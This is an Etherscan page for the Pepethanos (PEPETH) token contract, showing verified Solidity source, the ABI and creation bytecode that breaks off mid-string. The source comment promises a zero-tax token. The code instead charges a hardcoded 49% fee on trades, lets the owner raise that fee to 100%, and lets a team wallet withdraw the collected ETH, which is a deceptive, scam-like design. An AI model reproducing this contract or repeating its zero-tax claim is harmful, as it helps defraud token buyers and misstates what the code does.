ETH Price: $2,283.64 (-2.57%)

Token

Pepethanos (PEPETH)
 

Overview

Max Total Supply

10,000,000 PEPETH

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
116,616.133366603192470513 PEPETH

Value
$0.00
0xd2513199d4053a08a09d55ec9b55b71252bb1792
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pepethanos

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-08
*/

/**
Pepethanos ($PEPETH) - a token of untold power, forged in the cosmic fires of a zero-tax realm, sustained by the relentless force of sentinel. Its contract, renounced, and its liquidity, vanquished in the flames of eternity🔥.

https://twitter.com/pepe_thanos
https://t.me/PepethanosPortal

SPDX-License-Identifier: MIT                                                    
**/
pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IDEXFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Pepethanos is IERC20, Ownable {
    string constant _name = "Pepethanos";
    string constant _symbol = "PEPETH";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 10_000_000 * (10 ** _decimals);
    uint256 public moneyHolderCap = (_totalSupply * 2) / 100;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeFree;
    mapping(address => bool) liqAuthor;
    uint256 feeDenominator = 10000;
    uint256 collectiveFee = 4900;
    address DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    address ZERO_ADDRESS = 0x0000000000000000000000000000000000000000;

    IDEXRouter public router;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    mapping(address => bool) liquidityReserves;

    address public pair;

    uint256 public runAt;
    bool public swapEnbl = false;
    bool lfg = false;

    bool swap;
    modifier swapping() {
        swap = true;
        _;
        swap = false;
    }

    modifier balanceCapacityLimit(address recipient, uint256 amount) {
        if (
            recipient != pair && !liqAuthor[recipient] && !isFeeFree[recipient]
        ) {
            require(
                _balances[recipient] + amount <= moneyHolderCap,
                "Exceeds maximum wallet size"
            );
        }
        _;
    }

    address squadWallet;
    modifier onlyTeam() {
        require(_msgSender() == squadWallet, "Caller is not a squad member");
        _;
    }

    event FundsDistributed(uint256 teamFee);

    constructor() {
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(
            router.WETH(),
            address(this)
        );
        liquidityReserves[pair] = true;
        _allowances[owner()][routerAddress] = type(uint256).max;
        _allowances[address(this)][routerAddress] = type(uint256).max;

        isFeeFree[owner()] = true;
        isFeeFree[address(this)] = true;
        liqAuthor[owner()] = true;

        _balances[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    receive() external payable {}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function symbol() external pure returns (string memory) {
        return _symbol;
    }

    function name() external pure returns (string memory) {
        return _name;
    }

    function getOwner() external view returns (address) {
        return owner();
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address holder,
        address spender
    ) external view override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function setSquadWallet(address _team) external onlyOwner {
        squadWallet = _team;
    }

    function setFee(uint256 newFee) external onlyOwner {
        require(newFee >= 0 && newFee <= feeDenominator, "Wrong tax fee");
        collectiveFee = newFee;
    }

    function cashOutFee(uint256 amount) external onlyTeam {
        uint256 amountETH = address(this).balance;
        payable(squadWallet).transfer((amountETH * amount) / 100);
    }

    function initiateTrading() external onlyOwner {
        require(!lfg);
        lfg = true;
        runAt = block.number;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal balanceCapacityLimit(recipient, amount) returns (bool) {
        require(sender != address(0), "ERC20: transfer from 0x0");
        require(recipient != address(0), "ERC20: transfer to 0x0");
        require(amount > 0, "Amount must be higer than zero");
        require(_balances[sender] >= amount, "Insufficient balance");

        if (!released() && liquidityReserves[recipient]) {
            require(liqAuthor[sender], "Liquidity not added yet.");
            start();
        }

        if (!lfg) {
            require(
                liqAuthor[sender] || liqAuthor[recipient],
                "Trading not open yet."
            );
        }

        if (swap) {
            return _basicTransfer(sender, recipient, amount);
        }

        _balances[sender] = _balances[sender] - amount;

        uint256 amountReceived = feeExcluded(sender)
            ? takeFee(recipient, amount)
            : amount;

        if (mustSwapBack(recipient)) {
            if (amount > 0) swapBack();
        }

        _balances[recipient] = _balances[recipient] + amountReceived;

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function released() internal view returns (bool) {
        return runAt != 0;
    }

    function start() internal {
        runAt = block.number;
        swapEnbl = true;
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function feeExcluded(address sender) internal view returns (bool) {
        return !isFeeFree[sender];
    }

    function buyOrSaleOperation(
        address sender,
        address recipient
    ) internal view returns (bool) {
        return sender == pair || recipient == pair;
    }

    function takeFee(
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (!buyOrSaleOperation(msg.sender, recipient)) {
            return amount;
        }

        uint256 feeAmount = (amount * collectiveFee) / feeDenominator;
        _balances[address(this)] += feeAmount;

        return amount - feeAmount;
    }

    function mustSwapBack(address recipient) internal view returns (bool) {
        return
            !liquidityReserves[msg.sender] &&
            !swap &&
            swapEnbl &&
            liquidityReserves[recipient];
    }

    function swapBack() internal swapping {
        if (_balances[address(this)] > 0) {
            uint256 amountToSwap = _balances[address(this)];

            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = router.WETH();

            router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                amountToSwap,
                0,
                path,
                address(this),
                block.timestamp
            );

            emit FundsDistributed(amountToSwap);
        }
    }

    function addLiquidityFunder(address _liquidityFunder) external onlyOwner {
        liqAuthor[_liquidityFunder] = true;
        excludeFromTaxes(_liquidityFunder);
    }

    function excludeFromTaxes(address account) internal {
        isFeeFree[account] = true;
    }

    function modifySettings(bool _enabled) external onlyOwner {
        swapEnbl = _enabled;
    }

    function getCurrentSupply() public view returns (uint256) {
        return
            _totalSupply - (balanceOf(DEAD_ADDRESS) + balanceOf(ZERO_ADDRESS));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"teamFee","type":"uint256"}],"name":"FundsDistributed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_liquidityFunder","type":"address"}],"name":"addLiquidityFunder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"cashOutFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCurrentSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initiateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"modifySettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"moneyHolderCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"runAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_team","type":"address"}],"name":"setSquadWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnbl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012600a62000014919062000a21565b6298968062000024919062000b5e565b600155606460026001546200003a919062000b5e565b6200004691906200098e565b60025561271060075561132460085561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060006101000a81548160ff0219169083151502179055506000601060016101000a81548160ff0219169083151502179055503480156200017257600080fd5b50600062000185620008a860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ef57600080fd5b505afa15801562000304573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032a9190620008f0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003ae57600080fd5b505afa158015620003c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e99190620008f0565b306040518363ffffffff1660e01b81526004016200040992919062000944565b602060405180830381600087803b1580156200042457600080fd5b505af115801562000439573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045f9190620008f0565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460006200054e620008b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620006c4620008b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600062000783620008b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060015460036000620007eb620008b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000839620008b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200089a919062000971565b60405180910390a362000c94565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620008ea8162000c7a565b92915050565b60006020828403121562000909576200090862000c68565b5b60006200091984828501620008d9565b91505092915050565b6200092d8162000bbf565b82525050565b6200093e8162000bf3565b82525050565b60006040820190506200095b600083018562000922565b6200096a602083018462000922565b9392505050565b600060208201905062000988600083018462000933565b92915050565b60006200099b8262000bf3565b9150620009a88362000bf3565b925082620009bb57620009ba62000c39565b5b828204905092915050565b6000808291508390505b600185111562000a1857808604811115620009f057620009ef62000c0a565b5b600185161562000a005780820291505b808102905062000a108562000c6d565b9450620009d0565b94509492505050565b600062000a2e8262000bf3565b915062000a3b8362000bfd565b925062000a6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a72565b905092915050565b60008262000a84576001905062000b57565b8162000a94576000905062000b57565b816001811462000aad576002811462000ab85762000aee565b600191505062000b57565b60ff84111562000acd5762000acc62000c0a565b5b8360020a91508482111562000ae75762000ae662000c0a565b5b5062000b57565b5060208310610133831016604e8410600b841016171562000b285782820a90508381111562000b225762000b2162000c0a565b5b62000b57565b62000b378484846001620009c6565b9250905081840481111562000b515762000b5062000c0a565b5b81810290505b9392505050565b600062000b6b8262000bf3565b915062000b788362000bf3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000bb45762000bb362000c0a565b5b828202905092915050565b600062000bcc8262000bd3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000c858162000bbf565b811462000c9157600080fd5b50565b612f498062000ca46000396000f3fe6080604052600436106101855760003560e01c806387d6a7a1116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e1461056d578063f2fde38b146105aa578063f887ea40146105d3578063f94afa34146105fe5761018c565b8063a9059cbb146104de578063b1611bce1461051b578063c3a8bdc6146105445761018c565b806387d6a7a1146103de578063893d20e8146104095780638ca99226146104345780638da5cb5b1461045d57806395d89b4114610488578063a8aa1b31146104b35761018c565b80633e138fd31161013e578063593c52e411610118578063593c52e41461034a57806369fe0e2d1461036157806370a082311461038a578063715018a6146103c75761018c565b80633e138fd3146102b75780634f3e1efc146102e2578063571ac8b01461030d5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f9578063227e064e1461022457806323b872dd1461024f578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610627565b6040516101b391906127c7565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612443565b610664565b6040516101f09190612791565b60405180910390f35b34801561020557600080fd5b5061020e610756565b60405161021b9190612949565b60405180910390f35b34801561023057600080fd5b50610239610760565b6040516102469190612949565b60405180910390f35b34801561025b57600080fd5b50610276600480360381019061027191906123f0565b610766565b6040516102839190612791565b60405180910390f35b34801561029857600080fd5b506102a1610928565b6040516102ae91906129be565b60405180910390f35b3480156102c357600080fd5b506102cc610931565b6040516102d99190612791565b60405180910390f35b3480156102ee57600080fd5b506102f7610944565b6040516103049190612949565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612356565b6109b8565b6040516103419190612791565b60405180910390f35b34801561035657600080fd5b5061035f6109eb565b005b34801561036d57600080fd5b50610388600480360381019061038391906124b0565b610abe565b005b34801561039657600080fd5b506103b160048036038101906103ac9190612356565b610baf565b6040516103be9190612949565b60405180910390f35b3480156103d357600080fd5b506103dc610bf8565b005b3480156103ea57600080fd5b506103f3610d4b565b6040516104009190612949565b60405180910390f35b34801561041557600080fd5b5061041e610d51565b60405161042b9190612776565b60405180910390f35b34801561044057600080fd5b5061045b60048036038101906104569190612356565b610d60565b005b34801561046957600080fd5b50610472610e59565b60405161047f9190612776565b60405180910390f35b34801561049457600080fd5b5061049d610e82565b6040516104aa91906127c7565b60405180910390f35b3480156104bf57600080fd5b506104c8610ebf565b6040516104d59190612776565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190612443565b610ee5565b6040516105129190612791565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190612483565b610efa565b005b34801561055057600080fd5b5061056b600480360381019061056691906124b0565b610fac565b005b34801561057957600080fd5b50610594600480360381019061058f91906123b0565b6110cc565b6040516105a19190612949565b60405180910390f35b3480156105b657600080fd5b506105d160048036038101906105cc9190612356565b611153565b005b3480156105df57600080fd5b506105e8611315565b6040516105f591906127ac565b60405180910390f35b34801561060a57600080fd5b5061062560048036038101906106209190612356565b61133b565b005b60606040518060400160405280600a81526020017f506570657468616e6f7300000000000000000000000000000000000000000000815250905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107449190612949565b60405180910390a36001905092915050565b6000600154905090565b600f5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109145781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108939190612b0f565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61091f848484611414565b90509392505050565b60006012905090565b601060009054906101000a900460ff1681565b6000610971600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610baf565b61099c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610baf565b6109a69190612a2e565b6001546109b39190612b0f565b905090565b60006109e4827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610664565b9050919050565b6109f3611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a77906128e9565b60405180910390fd5b601060019054906101000a900460ff1615610a9a57600080fd5b6001601060016101000a81548160ff02191690831515021790555043600f81905550565b610ac6611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4a906128e9565b60405180910390fd5b60008110158015610b6657506007548111155b610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c90612849565b60405180910390fd5b8060088190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c00611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906128e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025481565b6000610d5b610e59565b905090565b610d68611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec906128e9565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e5681611b3f565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5045504554480000000000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ef2338484611414565b905092915050565b610f02611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f86906128e9565b60405180910390fd5b80601060006101000a81548160ff02191690831515021790555050565b601060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fed611b37565b73ffffffffffffffffffffffffffffffffffffffff1614611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a90612809565b60405180910390fd5b6000479050601060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846110929190612ab5565b61109c9190612a84565b9081150290604051600060405180830381858888f193505050501580156110c7573d6000803e3d6000fd5b505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61115b611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df906128e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124f906127e9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611343611b37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c7906128e9565b60405180910390fd5b80601060036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156114c05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115165750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115ab5760025481600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115699190612a2e565b11156115aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a190612929565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffff